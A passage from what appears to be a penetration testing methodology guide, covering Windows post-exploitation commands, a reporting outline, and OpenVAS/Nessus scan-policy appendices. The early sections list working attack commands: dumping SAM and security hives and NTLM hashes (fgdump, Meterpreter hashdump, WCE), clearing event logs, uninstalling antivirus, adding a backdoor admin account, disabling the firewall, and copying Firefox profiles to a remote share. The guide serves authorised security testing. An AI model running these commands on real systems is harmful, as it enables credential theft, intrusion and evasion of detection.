`msiexec.exe`	Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path, you get code execution.
`%SystemRoot%\System32\wbem\mof\`	Taken from stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vuln

- WMI
  - `wmic bios`
  - `wmic`
  - `wmic qfe get hotfixid`
    - This gets patches IDs
  - `wmic startup`
  - `wmic service`
  - `wmic process`
    - Get caption,executablepath,commandline
  - `wmic process call create “process_name”`
    - Executes a program
  - `wmic process where name=”process_name” call terminate`
    - Terminates program
  - `wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber`
    - Hard drive information
  - `wmic useraccount`
    - Usernames, sid, and various security related goodies
  - `wmic useraccount get /ALL`
  - `wmic share get /ALL`
    - You can use ? for gets help
  - `wmic startup list full`
    - This can be a huge list!!!
  - `wmic /node:"hostname" bios get serialnumber`
    - This can be great for finding warranty info about target

- Reg Command exit
  - `reg save HKLM\Security security.hive` (Save security hive to a file)
  - `reg save HKLM\System system.hive` (Save system hive to a file)
  - `reg save HKLM\SAM sam.hive` (Save sam to a file)
  - `reg add [\\TargetIPaddr\] [RegDomain][ \Key ]`
  - `reg export [RegDomain]\[Key] [FileName]`
  - `reg import [FileName ]`
  - `reg query [\\TargetIPaddr\] [RegDomain]\[ Key ] /v [Valuename!]` (you can to add /s for recurse all values)

Deleting Logs

`wevtutil el` (list logs)
`wevtutil cl <LogName>` (Clear specific lowbadming)
`del %WINDIR%\*.log /a /s /q /f`

Uninstalling Software "AntiVirus" (Non interactive)

`wmic product get name /value` (this gets software names)
`wmic product where name="XXX" call uninstall /nointeractive` (this uninstalls software)

Other

```
pkgmgr usefull /iu :"Package"
pkgmgr usefull /iu :"TelnetServer" (Install Telnet Service ...)
pkgmgr /iu:"TelnetClient" (Client )
rundll32.exe user32.dll, LockWorkStation (locks the screen -invasive-)
wscript.exe <script js/vbs>
cscript.exe <script js/vbs/c#>
xcopy      /C      /S      %appdata%\Mozilla\Firefox\Profiles\*.sqlite      \
\your_box\firefox_funstuff
```

Operating Specific

Win2k3

```
winpop stat domainname
```

Vista/7

```
winstat features
wbadmin get status
wbadmin get items
gpresult /H gpols.htm
bcdedit /export <filename>
```

Vista SP1/7/2008/2008R2 (x86 & x64)

Enable/Disable Windows features with Deployment Image Servicing and Management (DISM):

- Note* Works well after bypassuac + getsystem (requires system privileges)
- Note2* For Dism.exe to work on x64 systems, the long commands are necessary

To list features which can be enabled/disabled:

```
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /get-features
```

To enable a feature (TFTP client for example):

```
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /enable-feature /featurename:TFTP
```

To disable a feature (again TFTP client):

```
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /disable-feature /featurename:TFTP
```

Invasive or Altering Commands

These commands change things on the target and can lead to getting detected

Command	Reason / Description
`net user hacker hacker /add`	Creats a new local (to the victim) user called 'hacker' with the password of 'hacker'
`net localgroup administrators /add hacker`	Adds the new user 'hacker' to the local administrators group
`net localgroup administrators hacker /add`	
`net share nothing$=C:\ /grant:hacker,FULL /unlimited`	Shares the C drive (you can specify any drive) out as a Windows share and grants the user 'hacker' full rights to access, or modify anything on that drive. One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn't a problem but it is something to keep in mind
`net user username / active:yes /domain`	Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.
`netsh firewall set opmode disable`	Disables the local windows firewall
`netsh firewall set opmode enable`	Enables the local windows firewall. If rules are not in place for your connection, this could cause you to loose it.

Support Tools Binaries / Links / Usage

REMEMBER: DO NOT RUN BINARIES YOU HAVEN'T VETTED

Description	Link to download
carrot.exe /im /ie /ff /gc /wlan /vnc /ps / np /mp /dialup /pwdump	http://h.ackack.net/carrot-exe.html
PwDump7.exe > ntlm.txt	http://www.tarasco.org/security/pwdump_7/ Invasively Dumps Windows NTLM hashes. Holds the credentials for all accounts.
Nircommands	http://www.nirsoft.net/utils/nircmd.html A collection of small nifty features.
wce.exe	http://www.ampliasecurity.com/research/wce_v1_2.tgz Pull NTLM hashes from login sessions out of memory, steal ks tickets from activerberoe processes and apply them to others.
adfind.exe -b ou=ActiveDirectory,dc=example,dc=com -f "objectClass=user" sn givenName samaccountname -nodn -adcsv > exported_users.csv	http://www.joeware.net/freetools/ Joeware tools have been used by admins for a while. This command will output the firstname, lastname and username of everyone in the AD domain example.com. Edit as needed.

Various tools

(e.g. \\hackarmoury.com\tools\all_binaries\fgdump.exe) Some examples of protocols in use:

http://hackarmoury.com/tools

\\hackarmoury.com\tools

ftp://hackarmoury.com

svn://hackarmoury.com

Obtaining Password Hashes in Windows

There are two general methods for obtaining the password hashes in Windows. One method is to inject code into the LSASS (Local Security Authority Subsystem Service) process and the other is to extract the hashes from the SAM, system, and security registry hives. Pwdump6, Fgdump, and the hashdump command in Meterpreter use the LSASS injection method and Creddump extracts passwords from the SAM, system, and security hives. Once the hashes have been extracted, you can crack the hashes to obtain the passwords or you can use the hashes in a pass the hash exploit.

LSASS Injection

One of the pitfalls of using the LSASS injection method is the possibility of crashing the LSASS process, which will reboot the machine. Another pitfall is tools like Pwdump and Fgdump are often stopped by AV tools.

Pwdump6 and Fgdump

Pwdump6 and Fgdump are available at http://www.foofus.net/~fizzgig. Fgdump implements a number of features that Pwdump6 does not and is the preferred tool to use. Also, the user account must be an administrator on the target machine.

- To dump passwords on the local host with the credential of the current user use: `fgdump`
- To dump passwords on the local host with other credentials use: `fgdump -h 127.0.0.1 -u adminuser`
- To dump passwords on a remote host with specified credentials use: `fgdump -h 192.168.0.1 -u adminuser -p password`

Hashdump in Meterpreter

From the meterpreter prompt run hashdump.

```
meterpreter > hashdump
Guest:501:******NOPASSWORD*******:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:******NOPASSWORD*******:ee96955033d6fa723cc2fccb7bec093d:::
```

Extracting Passwords from Registry

You will need to copy the SAM, system, and security files from the target machine to your machine. The files are located in C:\WINDOWS\system32\config and are typically inaccessible while the machine is running. Fortunately, you can get a copy of the files from the registry in HKEY_LOCAL_MACHINE and some times you can find them in c:\WINDOWS\repair.

Copy from the Registry

```
reg save HKLM\SAM c:\sam.reg
reg save HKLM\SYSTEM c:\system.reg
reg save HKLM\SECURITY c:\security.reg
```

If you get an "Access Denied" error message when trying to save the SECURITY hive then try:

```
at 12:00 reg save HKLM\SECURITY c:\security.reg
```

You are using the at command to schedule the reg command so set the time appropriately.

Extracting the Hashes

Creddump includes three python scripts designed to extract the local password hashes (pwdump.py), the cached credentials (cachedump.py), and the LSA secrets (lsadump.py). To get the local password hashes use: pwdump.py system.reg sam.reg. To get the cached credentials use: cachedump.py system.reg security.reg.

Extracting Passwords from Registry using Meterpreter

In Meterpreter use the command run post/windows/gather/hashdump to get the local hashes from the SAM database. To get the cached hashes you will need to download the cachedump.rb module from http://lab.mediaservice.net/code/cachedump.rb and put it into <msf3>/modules/post/windows/gather. Then you can run the command run post/windows/gather/cachedump.

Reporting

<Contribution Needed>

Executive-Level Reporting

<Contribution Needed>

1. Business Impact
2. Customization
3. Talking to the business
4. Affect bottom line
5. Strategic Roadmap
6. Maturity model
7. Appendix with terms for risk rating

Technical Reporting

<Contribution Needed>

1. Identify systemic issues and technical root cause analysis
2. Maturity Model
3. Technical Findings
   - Description
   - Screen shots
   - Ensure all PII is correctly redacted
   - Request/Response captures
   - PoC examples
   - Ensure PoC code provides benign validation of the flaw
4. Reproducible Results
   - Test Cases
   - Fault triggers
5. Incident response and monitoring capabilities
   - Intelligence gathering

- Reverse IDS
- Pentest Metrics
- Vuln. Analysis
- Exploitation
- Post-exploitation
- Residual effects (notifications to 3rd parties, internally, LE, etc...)

6. Common elements

- Methodology
- Objective(s)
- Scope
- Summary of findings
- Appendix with terms for risk rating

Quantifying the risk

<Contribution Needed>

1. Evaluate incident frequency

- probable event frequency
- estimate threat capability (from 3 - threat modeling)
- Estimate controls strength (6)
- Compound vulnerability (5)
- Level of skill required
- Level of access required

2. Estimate loss magnitude per incident

- Primary loss
- Secondary loss
- Identify risk root cause analysis
- Root Cause is never a patch
- Identify Failed Processes

3. Derive Risk

- Threat
- Vulnerability
- Overlap

Deliverable

<Contribution Needed>

1. Preliminary results

2. Review of the report with the customer

3. Adjustments to the report

4. Final report

5. Versioning of Draft and Final Reports

6. Presentation

- Technical
- Management Level

7. Workshop / Training

- Gap Analysis (skills/training)

8. Exfiltarted evidence and any other raw (non-proprietary) data gathered.

9. Remediation Roadmap

- Triage
- Maturity Model
- Progression Roadmap
- Long-term Solutions
- Defining constraints

Custom tools developed

Appendix A - Creating OpenVAS "Only Safe Checks" Policy

In order to ensure that all tests are conducted with the same criteria, you will need to ensure that you have the correct OpenVAS Global Settings. In order to do this you will need to connect to the OpenVAS Server and modifiy the Global Settings. There are seven configuration tabs: General, Credentials, Target Selection, Access Rules, Prefs., and KB. For our purposes, most of the default settings do not need to be modified.

General

The General tab is where we will set certain scan options. The actual settings have been defined as indicated below:

General Scan Options Section	Setting
Port Range	1-65535

Consider unscanned ports as closed	Unchecked
Checks to perform concurrently	4
Path to CGIs	/cgi-bin:/scripts
Do a reverse lookup of the IP before testing it	Unchecked
Safe checks	Checked
Designate hosts by their MAC address	Unchecked
Port Scanner Section	**Setting**
ike-scan (NASL wrapper)	Checked
Snmpwalk 'scanner'	Checked
SYN Scan	Checked
Exclude toplevel domain wildcard hosts	Unchecked
portbunny (NASL wrapper)	Unchecked
strobe (NASL wrapper)	Unchecked
Scan for LaBrea tarpitted hosts	Checked
amap (NASL wrapper)	Unchecked
pnscan (NASL wrapper)	Unchecked
Netstat 'scanner'	Unchecked
Simple TCP portscan in NASL	Unchecked
OpenVAS TCP scanner	Checked
Ping Host	Checked
Nmap (NASL wrapper)	Checked

Plugins

The Plugins tab, allows us to choose specific security checks by plugin family or individual checks that we want to enable. The easiest way to set this is to select the "Enable All" button from the main Plugins tab, however this assumes the Safe Checks is selected from the General Tab.

Credentials

The Credentials tab, allows us to configure the Nessus scanner to use authentication credentials during scanning. For our policy we will not edit any of the settings within this section. They are however documented to ensure completeness.

SMB Authorization	**Setting**
SMB login	Blank
SMB password	Blank

SMB domain (optional)	Blank
SSH Authorization	**Setting**
Per-host SSH key Selection (localhost)	Select SSH Login
Per-host SSH key Selection (Default)	Select SSH Login
User per-target login information	Unchecked
SSH login name	sshovas
SSH password (unsafe!)	Blank
SSH public key	Blank
SSH private key	Blank
SSH key passphrase	Blank

Target Selection

The Target Selection tab, allows us to specify specific targets or to read them from a file. The main then to ensure that is checked is the Perform a DNS zone transfer.

Access Rules

The Access Selection tab, allows us to view and manage the access rules for our scanner. These rules determine which host you may scan. Note that there are three kinds of access rules:

Server rules, Serverside user rules, and Clientside user rules. Server rules are global to the server and will affect all users that connect to this server. Serverside user rules are specific to a user and affect only this user, no matter from which client he connects to this server. Finally, Clientside user rules are specific to the client. They will affect only the scope in which they are defined.

Preferences

The Preferences tab allows for more granular control over scan settings. All items in this category should be left alone.

Knowledge Base

The configuration section for the Knowledge Base (KB) allows you to control the management of the server-side scan results. Information retrieved by plugins is collected in a KB during a scan. This is done on a per-host basis, meaning there is one KB for every host scanned. The default is to discard the KB once all plugins have finished, but under certain circumstances it can be quite useful to tell the server to keep the KBs generated during the scan and use them again at a later time.

Appendix B - Creating the "Only Safe Checks" Policy

In order to ensure that all tests are conducted with the same criteria, you will need to ensure that you have created a policy called "Only Safe Checks." In order to do this you will need to connect to the Nessus server UI, so that you can create a custom policy by clicking on the "Policies" option on the bar at the top and then "+ Add" button on the right. The "Add Policy" screen will be displayed as follows:

Screenshot Here

There are four configuration tabs: General, Credentials, Plugins, and Preferences. For our purposes, most of the default settings do not need to be modified.

General

The General tab is where we will name and configure scan options related to our policy. There are six boxes of grouped options that control scanner behavior: Basic, Scan, Network Congestion, Port Scanners, Port Scan Options, and Performance.

Basic allows us to define the policy itself. The actual settings have been defined as indicated below:

Basic Section	**Setting**
Name	Only Safe Checks
Visibility	Shared
Description	Complete scans not including Denial of Service.
Scan Section	**Setting**
Save Knowledge Base	Checked
Safe Checks	Checked
Silent Dependencies	Checked
Log Scan Details to Server	Unchecked
Stop Host Scan on Disconnect	Unchecked
Avoid Sequential Scans	Unchecked
Consider Unscanned Ports as Closed	Unchecked
Designate Hosts by their DNS Name	Unchecked
Network Section	**Setting**
Reduce Parallel Connections on Congestion	Unchecked
Use Kernel Congestion Detection (Linux Only)	Unchecked

Port Scanners Section	**Setting**
TCP Scan	Checked
UDP Scan	Unchecked
SYN Scan	Unchecked
SNMP Scan	Checked
Netstat SSH Scan	Checked
Netstat WMI Scan	Checked
Ping Host	Unchecked
Port Scan Options Section	**Setting**
Port Scan Range	1-65535
Performance Section	**Setting**
Max Checks Per Host (Windows)	5
Max Checks Per Host (Linux)	50-75
Max Hosts Per Scan	5
Network Receive Timeout (seconds)	5
Max Simultaneous TCP Sessions Per Host	Unlimited
Max Simultaneous TCP Sessions Per Scan	Unlimited

Credentials

The Credentials tab, allows us to configure the Nessus scanner to use authentication credentials during scanning. For our policy we will not edit any of the settings within this section. They are however documented to ensure completeness.

Windows credentials	**Setting**
SMB account	Blank
SMB password	Blank
SMB domain (optional)	Blank
SMB password type	Password
Additional SMB account (1)	Blank
Additional SMB password (1)	Blank
Additional SMB domain (optional)(1)	Blank
Additional SMB account (2)	Blank
Additional SMB password (2)	Blank
Additional SMB domain (optional)(2)	Blank

Additional SMB account (3)	Blank
Additional SMB password (3)	Blank
Additional SMB domain (optional)(3)	Blank
Never send SMB credentials in clear text	Checked
Only use NTLMv2	Unchecked
SSH Settings	**Setting**
SSH user name	root
SSH password (unsafe!)	Blank
SSH public key to use	Blank
SSH private key to use	Blank
Passphrase for SSH key	Blank
Elevate privileges with	Nothing
su login	Blank
Escalation password	Blank
SSH known hosts file	Blank
Preferred SSH port	22
Client version	OpenSSH_5.0
Kerberos configuration	**Settings**
Kerberos Key Distribution Center (KDC)	Blank
Kerberos KDC Port	88
Kerberos KDC Transport	UDP
Kerberos Realm (SSH only)	Blank
Cleartext protocols settings	**Settings**
User name	Blank
Password (unsafe!)	Blank
Try to perform patch level checks over telnet	Unchecked
Try to perform patch level checks over rsh	Unchecked
Try to perform patch level checks over rexec	Unchecked

Plugins

The Plugins tab, allows us to choose specific security checks by plugin family or individual checks that we want to enable. The easiest way to set this is to

select the "Enable All" button from the main Plugins tab, however this assumes the Safe Checks is selected from the General Tab.

Preferences

The Preferences tab allows for more granular control over scan settings. All items in this category should be. The actual settings have been defined as indicated below:

Cisco IOS Compliance Checks	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Database Compliance Checks	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Database Settings	**Setting**
Login	Blank
Password	Blank
DB Type	Oracle
Database SID	Blank
Database port to use	Blank
Oracle auth type	NORMAL
SQL Server auth type	Windows
Do not scan fragile devices	**Setting**
Scan Network Printers	Unchecked
Scan Novell Netware hosts	Unchecked
Global variable settings	**Setting**
Probe services on every port	Checked

Do not log in with user accounts not specified in the policy	Unchecked
Enable CGI scanning	Checked
Network type	Mixed (use RFC 1918)
Enable experimental scripts	Unchecked
Thorough tests (slow)	Unchecked
Report verbosity	Normal
Report paranoia	Normal
HTTP User-Agent	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
SSL certificate to use	Blank
SSL CA to trust	Blank
SSL key to use	Blank
SSL password for SSL key	Blank
HTTP cookies import	**Settings**
Cookies file	Blank
HTTP login page	**Settings**
Login page	/
Login form	Blank
Login form fields	user=%USER%&password=%PASS%
Login form method	POST
Re-authenticate delay (seconds)	Blank
Check authentication on page	Blank
Follow 30x redirections (# of levels)	2
Authenticated regex	Blank
Invert test (disconnected if regex matches)	Unchecked
Match regex on HTTP headers	Unchecked
Case insensitive regex	Unchecked
ICCP/COTP TSAP Addressing	**Settings**
Start COTP TSAP	8
Stop COTP TSAP	8

Login configurations	**Settings**
HTTP account	Blank
HTTP password (sent in clear)	Blank
NNTP account	Blank
NNTP password (sent in clear)	Blank
FTP account	Anonymous
FTP password (sent in clear)	
FTP writeable directory	/incoming
POP2 account	Blank
POP2 password (sent in clear)	Blank
POP3 account	Blank
POP3 password (sent in clear)	Blank
IMAP account	Blank
IMAP password (sent in clear)	Blank
Modbus/TCP Coil Access	**Settings**
Start reg	0
End reg	16
Nessus SYN scanner	**Settings**
Firewall detection	Automatic (normal)
Nessus TCP scanner	**Settings**
Firewall detection	Automatic (normal)
News Server (NNTP) Information Disclosure	**Settings**
From address	Nessus <listme@listme.dsbl.org>
Test group name regex	f[a-z]\.tests?
Max crosspost	7
Local distribution	Checked
No archive	Unchecked
Nikto (NASL wrapper)	**Settings**
Enable Nikto	Unchecked

Disable if server never replies 404	Unchecked
Root directory	Blank
Pause between tests (s)	Blank
Scan CGI directories	User supplied
Display: 1 Show redirects	Unchecked
Display: 2 Show cookies received	Unchecked
Display: 3 Show all 200/OK responses	Unchecked
Display: 4 Show URLs which require authentication	Unchecked
Display: V Verbose Output	Unchecked
Tuning: 1 Interesting File/Seen in logs	Unchecked
Tuning: 2 Misconfiguration / Default File	Unchecked
Tuning: 3 Information Disclosure	Unchecked
Tuning: 4 Injection (XSS/Script/HTML)	Unchecked
Oracle Settings	**Settings**
Oracle SID	Blank
Test default accounts (slow)	Unchecked
PCI DSS Compliance	**Settings**
Check for PCI-DSS compliance	Unchecked
Ping the remote host	**Settings**
TCP ping destination port(s)	Built-in
Do an ARP ping	Checked
Do a TCP ping	Checked
Do an ICMP ping	Checked
Number of Retries (ICMP)	2
Do an applicative UDP ping (DNS, RPCÖ)	Unchecked
Make the dead hosts appear in the report	Unchecked
Log live hosts in the report	Unchecked
Test the local Nessus host	Checked
Fast network discovery	Unchecked
Port scanners settings	**Settings**

Check open TCP ports found by local port enumerators	Unchecked
Only run network port scanners if local port enumeration failed	Checked
SMB Registry: Start the Registry Service during the scan	**Settings**
Start the Registry Service during the scan	Unchecked
SMB Scope	**Settings**
Request information about the domain	Checked
SMB use domain SID to enumerate users	**Settings**
Start UID	1000
End UID	1200
SMB use host SID to enumerate local users	**Settings**
Start UID	1000
End UID	1200
SMTP settings	**Settings**
Third party domain	Example.com
From address	nobody@example.com
To address	postmaster@[AUTO_REPLACED_IP]
SNMP settings	**Settings**
Community name	Public
UDP port	161
SNMPv3 user name	Blank
SNMPv3 authentication password	Blank
SNMPv3 authentication algorithm	MD5
SNMPv3 privacy password	Blank
SNMPv3 privacy algorithm	DES
Service Detection	**Settings**

Test SSL based services	Known SSL ports
Unix Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Web Application Tests Settings	**Settings**
Enable web applications tests	Unchecked
Maximum run time (min)	60
Send POST requests	Unchecked
Combinations of arguments values	one value
HTTP Parameter Pollution	Unchecked
Stop at first flaw	Per port (quicker)
Test embedded web servers	Unchecked
URL for Remote File Inclusion	http://rfi.nessus.org/rfi.txt
Web mirroring	**Settings**
Number of pages to mirror	1000
Maximum depth	6
Start page	/
Excluded items regex	/server_privileges\.php
Follow dynamic pages	Unchecked
Windows Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Windows File Contents Compliance Checks	**Settings**

Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank

Appendix C - Creating the "Only Safe Checks (Web)" Policy

In order to ensure that all tests are conducted with the same criteria, you will need to ensure that you have created a policy called "Only Safe Checks (Web)". In order to do this you will need to connect to the Nessus server UI, so that you can create a custom policy by clicking on the "Policies" option on the bar at the top and then "+ Add" button on the right. The "Add Policy" screen will be displayed as follows:

Screenshot Here

There are four configuration tabs: General, Credentials, Plugins, and Preferences. For our purposes, most of the default settings do not need to be modified.

General

The General tab is where we will name and configure scan options related to our policy. There are six boxes of grouped options that control scanner behavior: Basic, Scan, Network Congestion, Port Scanners, Port Scan Options, and Performance.

Basic allows us to define the policy itself. The actual settings have been defined as indicated below:

Basic Section	**Setting**
Name	Only Safe Checks (Web)
Visibility	Shared
Description	Complete scans not including Denial of Service.
Scan Section	**Setting**
Save Knowledge Base	Checked
Safe Checks	Checked
Silent Dependencies	Checked
Log Scan Details to Server	Unchecked
Stop Host Scan on Disconnect	Unchecked
Avoid Sequential Scans	Unchecked
Consider Unscanned Ports as Closed	Unchecked

Designate Hosts by their DNS Name	Unchecked
Network Section	**Setting**
Reduce Parallel Connections on Congestion	Unchecked
Use Kernel Congestion Detection (Linux Only)	Unchecked
Port Scanners Section	**Setting**
TCP Scan	Checked
UDP Scan	Unchecked
SYN Scan	Unchecked
SNMP Scan	Checked
Netstat SSH Scan	Checked
Netstat WMI Scan	Checked
Ping Host	Unchecked
Port Scan Options Section	**Setting**
Port Scan Range	1-65535
Performance Section	**Setting**
Max Checks Per Host (Windows)	5
Max Checks Per Host (Linux)	50-75
Max Hosts Per Scan	5
Network Receive Timeout (seconds)	5
Max Simultaneous TCP Sessions Per Host	Unlimited
Max Simultaneous TCP Sessions Per Scan	Unlimited

Credentials

The Credentials tab, allows us to configure the Nessus scanner to use authentication credentials during scanning. For our policy we will not edit any of the settings within this section. They are however documented to ensure completeness.

Windows credentials	**Setting**
SMB account	Blank
SMB password	Blank
SMB domain (optional)	Blank
SMB password type	Password

Additional SMB account (1)	Blank
Additional SMB password (1)	Blank
Additional SMB domain (optional)(1)	Blank
Additional SMB account (2)	Blank
Additional SMB password (2)	Blank
Additional SMB domain (optional)(2)	Blank
Additional SMB account (3)	Blank
Additional SMB password (3)	Blank
Additional SMB domain (optional)(3)	Blank
Never send SMB credentials in clear text	Checked
Only use NTLMv2	Unchecked
SSH Settings	**Setting**
SSH user name	root
SSH password (unsafe!)	Blank
SSH public key to use	Blank
SSH private key to use	Blank
Passphrase for SSH key	Blank
Elevate privileges with	Nothing
su login	Blank
Escalation password	Blank
SSH known_hosts file	Blank
Preferred SSH port	22
Client version	OpenSSH_5.0
Kerberos configuration	**Settings**
Kerberos Key Distribution Center (KDC)	Blank
Kerberos KDC Port	88
Kerberos KDC Transport	UDP
Kerberos Realm (SSH only)	Blank
Cleartext protocols settings	**Settings**
User name	Blank
Password (unsafe!)	Blank

Try to perform patch level checks over telnet	Unchecked
Try to perform patch level checks over rsh	Unchecked
Try to perform patch level checks over rexec	Unchecked

Plugins

The Plugins tab, allows us to choose specific security checks by plugin family or individual checks that we want to enable. The easiest way to set this is to select the "Enable All" button from the main Plugins tab, however this assumes the Safe Checks is selected from the General Tab.

Preferences

The Preferences tab allows for more granular control over scan settings. All items in this category should be. The actual settings have been defined as indicated below:

Cisco IOS Compliance Checks	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Database Compliance Checks	**Setting**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Database Settings	**Setting**
Login	Blank
Password	Blank
DB Type	Oracle
Database SID	Blank
Database port to use	Blank
Oracle auth type	NORMAL
SQL Server auth type	Windows

Do not scan fragile devices	**Setting**
Scan Network Printers	Unchecked
Scan Novell Netware hosts	Unchecked
Global variable settings	**Setting**
Probe services on every port	Checked
Do not log in with user accounts not specified in the policy	Unchecked
Enable CGI scanning	Checked
Network type	Mixed (use RFC 1918)
Enable experimental scripts	Unchecked
Thorough tests (slow)	Unchecked
Report verbosity	Normal
Report paranoia	Normal
HTTP User-Agent	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
SSL certificate to use	Blank
SSL CA to trust	Blank
SSL key to use	Blank
SSL password for SSL key	Blank
HTTP cookies import	**Settings**
Cookies file	Blank
HTTP login page	**Settings**
Login page	/
Login form	Blank
Login form fields	user=%USER%&password=%PASS%
Login form method	POST
Re-authenticate delay (seconds)	Blank
Check authentication on page	Blank
Follow 30x redirections (# of levels)	2
Authenticated regex	Blank
Invert test (disconnected if regex matches)	Unchecked

Match regex on HTTP headers	Unchecked
Case insensitive regex	Unchecked
ICCP/COTP TSAP Addressing	**Settings**
Start COTP TSAP	8
Stop COTP TSAP	8
Login configurations	**Settings**
HTTP account	Blank
HTTP password (sent in clear)	Blank
NNTP account	Blank
NNTP password (sent in clear)	Blank
FTP account	Anonymous
FTP password (sent in clear)	
FTP writeable directory	/incoming
POP2 account	Blank
POP2 password (sent in clear)	Blank
POP3 account	Blank
POP3 password (sent in clear)	Blank
IMAP account	Blank
IMAP password (sent in clear)	Blank
Modbus/TCP Coil Access	**Settings**
Start reg	0
End reg	16
Nessus SYN scanner	**Settings**
Firewall detection	Automatic (normal)
Nessus TCP scanner	**Settings**
Firewall detection	Automatic (normal)
News Server (NNTP) Information Disclosure	**Settings**
From address	Nessus <listme@listme.dsbl.org>

Test group name regex	f[a-z]\.tests?
Max crosspost	7
Local distribution	Checked
No archive	Unchecked
Nikto (NASL wrapper)	**Settings**
Enable Nikto	Checked
Disable if server never replies 404	Unchecked
Root directory	Blank
Pause between tests (s)	Blank
Scan CGI directories	User supplied
Display: 1 Show redirects	Unchecked
Display: 2 Show cookies received	Unchecked
Display: 3 Show all 200/OK responses	Unchecked
Display: 4 Show URLs which require authentication	Unchecked
Display: V Verbose Output	Unchecked
Tuning: 1 Interesting File/Seen in logs	Unchecked
Tuning: 2 Misconfiguration / Default File	Unchecked
Tuning: 3 Information Disclosure	Unchecked
Tuning: 4 Injection (XSS/Script/HTML)	Unchecked
Oracle Settings	**Settings**
Oracle SID	Blank
Test default accounts (slow)	Unchecked
PCI DSS Compliance	**Settings**
Check for PCI-DSS compliance	Unchecked
Ping the remote host	**Settings**
TCP ping destination port(s)	Built-in
Do an ARP ping	Checked
Do a TCP ping	Checked
Do an ICMP ping	Checked
Number of Retries (ICMP)	2

Do an applicative UDP ping (DNS, RPCÖ)	Unchecked
Make the dead hosts appear in the report	Unchecked
Log live hosts in the report	Unchecked
Test the local Nessus host	Checked
Fast network discovery	Unchecked
Port scanners settings	**Settings**
Check open TCP ports found by local port enumerators	Unchecked
Only run network port scanners if local port enumeration failed	Checked
SMB Registry: Start the Registry Service during the scan	**Settings**
Start the Registry Service during the scan	Unchecked
SMB Scope	**Settings**
Request information about the domain	Checked
SMB use domain SID to enumerate users	**Settings**
Start UID	1000
End UID	1200
SMB use host SID to enumerate local users	**Settings**
Start UID	1000
End UID	1200
SMTP settings	**Settings**
Third party domain	Example.com
From address	nobody@example.com
To address	postmaster@[AUTO_REPLACED_IP]
SNMP settings	**Settings**
Community name	Public
UDP port	161

SNMPv3 user name	Blank
SNMPv3 authentication password	Blank
SNMPv3 authentication algorithm	MD5
SNMPv3 privacy password	Blank
SNMPv3 privacy algorithm	DES
Service Detection	**Settings**
Test SSL based services	Known SSL ports
Unix Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Web Application Tests Settings	**Settings**
Enable web applications tests	Checked
Maximum run time (min)	60
Send POST requests	Unchecked
Combinations of arguments values	one value
HTTP Parameter Pollution	Unchecked
Stop at first flaw	Per port (quicker)
Test embedded web servers	Unchecked
URL for Remote File Inclusion	http://rfi.nessus.org/rfi.txt
Web mirroring	**Settings**
Number of pages to mirror	1000
Maximum depth	6
Start page	/
Excluded items regex	/server_privileges\.php
Follow dynamic pages	Unchecked
Windows Compliance Checks	**Settings**

Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank
Windows File Contents Compliance Checks	**Settings**
Policy file #1	Blank
Policy file #2	Blank
Policy file #3	Blank
Policy file #4	Blank
Policy file #5	Blank

Appendix D - Creating the "Validation Scan" Policy

In order to ensure that all tests are conducted with the same criteria, you will need to ensure that you have created a policy called "Validation Scan." In order to do this you will need to connect to the Nessus server UI, so that you can create a custom policy by clicking on the "Policies" option on the bar at the top and then "+ Add" button on the right. The "Add Policy" screen will be displayed as follows:

Screenshot Here

There are four configuration tabs: General, Credentials, Plugins, and Preferences. For our purposes, most of the default settings do not need to be modified.

General

The General tab is where we will name and configure scan options related to our policy. There are six boxes of grouped options that control scanner behavior: Basic, Scan, Network Congestion, Port Scanners, Port Scan Options, and Performance.

Basic allows us to define the policy itself. The actual settings have been defined as indicated below:

Basic Section	**Setting**
Name	Validation Scan
Visibility	Shared
Description	Validation Scan Only (Use to check that Nessus is working properly and the signature date)

Scan Section	**Setting**
Save Knowledge Base	Checked
Safe Checks	Checked
Silent Dependencies	Checked
Log Scan Details to Server	Unchecked
Stop Host Scan on Disconnect	Unchecked
Avoid Sequential Scans	Unchecked
Consider Unscanned Ports as Closed	Unchecked
Designate Hosts by their DNS Name	Unchecked
Network Section	**Setting**
Reduce Parallel Connections on Congestion	Unchecked
Use Kernel Congestion Detection (Linux Only)	Unchecked
Port Scanners Section	**Setting**
TCP Scan	Checked
UDP Scan	Unchecked
SYN Scan	Unchecked
SNMP Scan	Unchecked
Netstat SSH Scan	Checked
Netstat WMI Scan	Checked
Ping Host	Unchecked
Port Scan Options Section	**Setting**
Port Scan Range	22, 161, 1241, 8834
Performance Section	**Setting**
Max Checks Per Host (Windows)	5
Max Checks Per Host (Linux)	50-75
Max Hosts Per Scan	1
